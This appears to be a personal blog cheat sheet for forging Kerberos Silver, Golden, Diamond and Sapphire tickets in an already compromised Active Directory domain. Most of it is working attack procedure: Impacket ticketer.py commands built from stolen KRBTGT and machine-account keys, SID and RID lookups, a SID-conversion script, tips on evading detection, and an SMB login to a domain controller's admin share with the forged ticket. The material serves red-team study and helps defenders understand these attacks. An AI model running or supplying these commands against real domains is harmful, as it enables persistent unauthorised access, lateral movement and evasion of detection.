These are some scribbles if I ever need to look up how to forge my own Kerberos Tickets, such as Silver, Golden, Diamond or Sapphire Tickets. I might expand on this later…
|
ℹ️
|
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity. |
Environment
Previously, I’ve documented (also for myself) how to Kerberoast and ASREProast. For this article, we’re assuming we’ve already compromised the domain and have gotten our hands on the KRBTGT secrets (NTHash, AES keys). In other words, we’ve already got DA.
While not providing further privilege escalation (we’ve got DA), printing your own Kerberos Tickets allows for deeper lateral movement, possibly avoiding talking to the KDC altogether (e.g. Silver Tickets).
We’re also assuming the following environment (change accordingly):
user $ echo $SHELL
/usr/bin/fish
user $ which ldapsearch
/usr/bin/ldapsearch
user $ which ticketer.py # https://github.com/fortra/impacket
/usr/bin/smbclient.py
user $ which smbclient.py # https://github.com/fortra/impacket
/usr/bin/smbclient.py
user $ which ewp # https://github.com/adityatelange/evil-winrm-py
/usr/bin/ewp
user $ which nxc # https://github.com/Pennyw0rth/NetExec
/usr/bin/nxc
user $ set win_domain corp.local
user $ set dc_fqdn dc01.{$win_domain}
user $ set dc_ip (dig +short dc01.corp.local)
user $ set regular_user_account gijsbert
user $ set regular_user_passwd Winter2025!
user $ set privileged_user_account wilbert
user $ set krbtgt_aeskey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
user $ set krbtgt_nthash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# Only for Silver Tickets, when a service account has an SPN:
user $ set service_account srvc_www
user $ set service_account_passwd CrackedP@ssw0rd!
user $ set server_fqdn www01.{$win_domain}
user $ set server_computer_account 'www01$'
user $ set spn http/{$server_fqdn}|
ℹ️
|
Further mitigations by Microsoft now also demand including the RID (i.e. setting -user-id, when using Impacket’s ticketer.py) of the privileged user account you want to create the ticket for (e.g. domain admin).
You can lookup the RID in the secretsdump.py output (e.g. corp.local\wilbert:1108:xxx[…]xxx:xxx[…]xxx:::, where 1108 is the RID), or via LDAP (e.g. using ldapsearch, as will be discussed).
Setting the RID however is not required for Silver Tickets (domain SID is).
|
Get the domain SID:
user $ lookupsid.py "$win_domain/$regular_user_account:$regular_user_passwd@$dc_ip" 0Also retrieve and the privileged user’s RID (e.g. from the secretsdump.py output).
Or, lookup the domain SID and privileged user’s RID via ldapsearch:
user $ ldapsearch -x -D {$regular_user_account}@{$win_domain} -w "$regular_user_passwd" \
-b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
-s sub "sAMAccountName=$privileged_user_account" -H ldap://{$dc_ip} ObjectSIDThen convert the base64 SID, e.g. by using a script (click to expand/collapse)
#!/usr/bin/env fish
# This is a Fish port of https://serverfault.com/a/852338
# Read Base-64 encoded objectSid from first argument
set -l OBJECT_ID $argv[1]
# Decode it, hex-dump it and store it in an array
set -l G (echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 "%02X\n"')
# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID
set -l BESA2 "$G[9]$G[10]$G[11]$G[12]"
set -l BESA3 "$G[13]$G[14]$G[15]$G[16]"
set -l BESA4 "$G[17]$G[18]$G[19]$G[20]"
set -l BESA5 "$G[21]$G[22]$G[23]$G[24]"
set -l BERID "$G[25]$G[26]$G[27]$G[28]"
# Compact LE reordering patterns
set -l U32 '^(.{2})(.{2})(.{2})(.{2})$' # 4 bytes (8 hex)
set -l LESA1 "$G[3]$G[4]$G[5]$G[6]$G[7]$G[8]"
set -l LESA2 (string replace -r $U32 '\4\3\2\1' $BESA2)
set -l LESA3 (string replace -r $U32 '\4\3\2\1' $BESA3)
set -l LESA4 (string replace -r $U32 '\4\3\2\1' $BESA4)
set -l LESA5 (string replace -r $U32 '\4\3\2\1' $BESA5)
set -l LERID (string replace -r $U32 '\4\3\2\1' $BERID)
set -l LE_SID_HEX "$LESA1-$LESA2-$LESA3-$LESA4-$LESA5-$LERID"
# Initial SID value which is used to construct actual SID
set -l SID "S-1"
# Convert LE_SID_HEX to decimal values and append it to SID as a string
for OBJECT in (string split -- '-' $LE_SID_HEX)
test -n "$OBJECT"; and set SID "$SID-"(printf "%d" 0x$OBJECT)
end
echo $SIDThen run the script, appending the objectSid:
user $ fish ./sid.fish AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxOr even combine in a single command like so:
$ fish ./sid.fish (ldapsearch -x -D {$regular_user_account}@{$win_domain} \
-w "$regular_user_passwd" \
-b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
-s sub "sAMAccountName=$privileged_user_account" \
-H ldap://{$dc_ip} ObjectSID | grep objectSid | cut -d " " -f 2)
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxThe RID is that array of numbers of the string (e.g. that last xxxx), and the domain SID is everything up to that last part (e.g. S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx).
Set the SID and RID accordingly:
user $ set privileged_user_rid xxxx
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxxForging Tickets
Using the compromised NTDS secrets (e.g. via secretsdump.py), we can now forge tickets.
Prefer AES keys over NTHashes (e.g. the aes256-cts-hmac-sha1-96 values, which are more stealthy).
⚪ Silver Tickets, using the computer account’s AES key of which its hostname is part of the SPN:
user $ ticketer.py \
-aesKey {$server_computer_account_aeskey} \
-domain-sid {$win_domain_sid} \
-domain {$win_domain} \
-spn {$spn} \
{$server_computer_account}|
ℹ️
|
Silver Tickets are typically easier to obtain, but their scope is more limited than Golden Tickets. However, Silver Tickets avoid communication with the KDC, which is a bit more stealthy and more difficult to detect. Silver Tickets only work when logging on to the machine limited by the SPN being (ab)used. |
🟡 Golden Tickets, using the KRBTGT AES key:
user $ ticketer.py \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-domain {$win_domain} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
As mentioned, Golden Tickets demand knowledge of KRBTGT secrets, which means the attacker already has DA access, but allows for deeper lateral movement. While such tickets are immensely powerful, they’re nowadays well understood and more easily detectable (e.g. no preceding AS-REQ / AS-REP; anomalous ticket duration; when using NTHash over AES, etc.). |
🔵 Diamond Tickets, which adds (ab)using a real PAC from a regular user:
user $ ticketer.py \
-dc-ip {$dc_ip} \
-request \
-domain {$win_domain} \
-user {$regular_user_account} \
-password "$regular_user_passwd" \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
Diamond Tickets first request a normal ticket via a low privileged user (i.e. the -user and -password arguments and values).
The PAC is then decrypted, modified, provided with recalculated signatures, after which the PAC is re-encrypted again.
These tickets are a bit more stealthy as these do precede AS-REQ and AS-REP, unlike Golden Tickets.
|
🟣 Sapphire Tickets, swapping the PAC of another privileged user via S4U2self+u2u (even more stealthier):
user $ ticketer.py \
-dc-ip {$dc_ip} \
-request \
-impersonate {$privileged_user_account} \
-domain {$win_domain} \
-user {$regular_user_account} \
-password "$regular_user_passwd" \
-nthash {$krbtgt_nthash} \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
Sapphire Tickets, like Diamond Tickets, avoid forging the PAC altogether. But unlike Diamond Tickets, Sapphire Tickets instead obtain a real privileged user account’s PAC via S4U2self+u2u:
This nifty trick allows for currently the most stealthy forged ticket. |
Load and inspect the forged ticket:
user $ export KRB5CCNAME={$privileged_user_account}.ccache
user $ klistLogin using the ticket (-k and -no-pass will use the above ticket referred to by KRB5CCNAME):
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} \
{$win_domain}/{$privileged_user_account}@{$dc_fqdn}
# who
# use c$
# lsKeep in mind forging tickets will only work as long as the KRBTGT secrets are valid. Current good practice demands rotating these secrets periodically, burning potentially forged tickets. A more persistent way of maintaining access is abusing AD CS misconfigurations, if the domain uses AD CS for Kerberos PKINIT. I’ve previously described (for myself) how to abuse a few of those.